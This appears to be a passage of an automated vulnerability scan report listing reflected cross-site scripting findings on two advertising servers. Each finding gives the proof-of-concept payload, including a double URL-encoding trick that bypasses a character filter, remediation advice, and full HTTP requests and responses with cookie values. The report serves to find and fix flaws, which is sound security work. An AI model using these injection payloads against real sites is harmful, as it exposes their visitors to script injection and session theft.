GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/1296683335**;10,1,103;1920;1200;http%3A_@2F_@2Fmoney.msn.com_@2Finvesting_@3F998d7?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad&f68cc'-alert(1)-'ca9f21a572f=1 HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:54:20 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 Set-Cookie: u=4d2cdd9abba1d; expires=Sat, 05-Mar-2011 21:54:20 GMT; path=/ Set-Cookie: i_1=33:353:23:3:0:34426:1296683660:B2|33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L; expires=Fri, 04-Mar-2011 21:54:20 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 851
function wsodOOBClick() { var i = new Image(); i.src = 'http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad&f68cc'-alert(1)-'ca9f21a572f=1'; var iRM = new Image(); iRM.src = 'http://redcated/action/Scottrade_Remessaging'; return true; } function wsod_image() { document.write('<a href="//ad.wsod.com/click/8bec9b10877d5d ...[SNIP]...
The value of the &PID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12676"-alert(1)-"e19a228f6fc was submitted in the &PID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=801064012676"-alert(1)-"e19a228f6fc&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:52:49 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
The value of the AN request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dacb0"-alert(1)-"739720fb74 was submitted in the AN parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155dacb0"-alert(1)-"739720fb74&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:17 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1679
The value of the ASID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 20962"-alert(1)-"2a1d1d242bf was submitted in the ASID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad20962"-alert(1)-"2a1d1d242bf HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:35 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
The value of the PG request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96c1d"-alert(1)-"ac8d47e6ca4 was submitted in the PG parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ96c1d"-alert(1)-"ac8d47e6ca4&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:26 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81851%2522%253balert%25281%2529%252f%252faa8ae4a84fa was submitted in the REST URL parameter 2. This input was echoed as 81851";alert(1)//aa8ae4a84fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a63135781851%2522%253balert%25281%2529%252f%252faa8ae4a84fa/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:54:26 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3e6b8%2522%253balert%25281%2529%252f%252f7ebd7131956 was submitted in the REST URL parameter 3. This input was echoed as 3e6b8";alert(1)//7ebd7131956 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x303e6b8%2522%253balert%25281%2529%252f%252f7ebd7131956/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:54:32 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
The value of the TargetID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c105a"-alert(1)-"fb1bd8b3ce2 was submitted in the TargetID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488c105a"-alert(1)-"fb1bd8b3ce2&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:53:07 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
The value of the UIT request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f5e6"-alert(1)-"d81f699c354 was submitted in the UIT parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G2f5e6"-alert(1)-"d81f699c354&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:52:59 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
The value of the click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b539"-alert(1)-"67ea36dc1c6 was submitted in the click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!4b539"-alert(1)-"67ea36dc1c6&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:52:40 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1680
4.55. http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7423b"-alert(1)-"cb6a6387cd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /embed/8bec9b10877d5d7fd7c0fb6e6a631357/353.0.js.120x30/671239155?click=http://g.msn.com/_2AD0003L/93000000000038010.1?!&&PID=8010640&UIT=G&TargetID=28253488&AN=671239155&PG=INVSRQ&ASID=644f272384fc4ea392c9e50a46bc0aad&7423b"-alert(1)-"cb6a6387cd=1 HTTP/1.1 Host: ad.wsod.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: c_1=33:967:555:0:0:36941:1294800536:L; o=1:1; i_34=8:45:5:7:0:38345:1296350886:L|8:47:27:7:0:32725:1294844800:B2; fp=599362::7:IN:::1296392421:1:33; u=4d2cdd9abba1d; i_1=33:353:78:3:0:38655:1296683296:L|33:1391:835:95:0:38655:1296683295:L|33:353:198:3:0:38655:1296683214:L
Response
HTTP/1.1 200 OK Server: nginx/0.6.39 Date: Wed, 02 Feb 2011 21:54:10 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/5.1.6 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Length: 1682
4.56. http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.yieldmanager.com
Path:
/st
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf0da"-alert(1)-"8c42b551633 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=ad&ad_size=300x250&entity=58661&site_code=homepage§ion_code=&click=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa2/3/0/%2a/n%3B228957569%3B0-0%3B0%3B45421688%3B4307-300/250%3B38375088/38392845/1%3B%3B%7Eaopt%3D2/0/36/0%3B%7Esscs%3D%3f&bf0da"-alert(1)-"8c42b551633=1 HTTP/1.1 Host: ad.yieldmanager.com Proxy-Connection: keep-alive Referer: http://ad.doubleclick.net/adi/dmd.ehow/homepage;vid=0;ugc=0;lvl=4;sz=300x250;tile=2;ord=2735259747132? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pc1="b!!!!#!#49P!!!*Z!##wb!+:d(!$9rJ!!H<)!?5%!)I-X?![:Z-!#[Q#!%(/.~~~~~~<ht]%~M.jTN"; BX=90d0t1d6iq2v7&b=3&s=9e; pv1="b!!!!3!#1xy!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@~~!#1y'!!E)$!$XwM!+kS,!$els!!mT-!?5%!'2gi6!w1K*!%4=%!$$#u!%_/^~~~~~<jbO@<l_ss~!#M*E!!E)$!$XwU!/uG1!%:2w!#:m1!?5%!'2gi6!xSD7!%4=%!%@78!'>cr~~~~~<jbOF<ka5`~!#X@7!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@9!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@<!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#X@>!,x.^!$W@l!-g#y!$l:u!!!!$!?5%!%QkD1!wVd.!')sC!#rxb!%fi5~~~~~<k:[]<oNFg~!#dT5!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT7!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT9!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#dT<!,x.^!$W@l!/9uI!%*gh!!H<)!?5%!%QkD1!wVd.!')sC!#rxb!'*:S~~~~~<k:]D<oNGN~!#`,W!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,Z!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,]!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#`,_!,x.^!$W@l!.T97!$x>$!!mT-!?5%!%QkD1!wVd.!')sC!#rxb!%uNO~~~~~<k:^)<oNH3~!#3yC!!!%G!#4*B!/cr5!%:4s!!!%%!?5%!'k4o6!wVd.!$,gR!$a0[!'>es~~~~~<kI5G<o[wQ~"; uid=uid=b167d032-2d75-11e0-89fa-003048d6d890&_hmacv=1&_salt=2074615246&_keyid=k1&_hmac=249585fedc0ca1193988128dced0dced5912c7fb; ih="b!!!!9!(4vA!!!!#<kc#t!*09R!!!!#<l/M+!*gS^!!!!#<kI:#!+/Wc!!!!#<jbN?!+:d(!!!!#<htX7!+:d=!!!!$<hu%0!+kS,!!!!#<jbO@!->h]!!!!#<htSD!-g#y!!!!#<k:[]!.N)i!!!!#<htgq!.T97!!!!#<k:^)!.`.U!!!!'<kc#o!.tPr!!!!#<k`nL!/9uI!!!!#<k:]D!/H]-!!!!'<hu!d!/J`3!!!!#<jbND!/c)/!!!!#<h67=!/cr5!!!!#<kI5G!/o:O!!!!#<htU#!/poZ!!!!#<iLQk!/uG1!!!!#<jbOF!0>0V!!!!#<l/M."; bh="b!!!#t!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!,D(!!!!#<kI5F!!-?2!!!!'<kI5F!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!%<kI5F!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!#<k2yw!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!$<kI5F!!4<u!!!!%<kI5F!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!?VS!!ErC<k0fB!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L_w!!!!'<kdT!!!Mr(!!ErC<k0fB!!OgU!!!!$<kI5F!!Zwb!!!!#<kI5F!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!iEC!!!!#<kI5F!!iEb!!!!%<kI5F!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!v:e!!!!$<kI5F!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!$<kI5F!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!'<kdT!!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#1=E!!!!#<kI4S!#2`q!!!!#<jc#g!#3pS!!!!#<jHAu!#3pv!!!!#<jHAu!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!'<kI5F!#8:i!!!!#<jc#c!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#I=D!!!!#<kjhR!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!'<l/M+!#MTF!!!!'<l/M+!#MTH!!!!'<l/M+!#MTI!!!!'<l/M+!#MTJ!!!!'<l/M+!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PrV!!!!#<kQRW!#Q+o!!!!'<kdT!!#Qh8!!!!#<l.yn!#RY.~~!#Ri/!!!!'<kdT!!#Rij!!!!'<kdT!!#SCj!!!!$<kcU!!#SCk!!!!$<kdT!!#SUp!!!!$<kI5F!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#TnE!!!!#<l/M+!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!'<l/M+!#W^8!!!!#<jem(!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#ZPo!!!!#<ie2`!#ZhT!!!!'<kI5F!#Zmf!!!!$<kT`F!#]!g!!!!#<gj@R!#]Ky!!!!#<gj@R!#]W%~~!#^0$!!!!$<kI5F!#^0%!!!!$<kI5F!#^Bo~~!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aG>!!!!'<kdT!!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!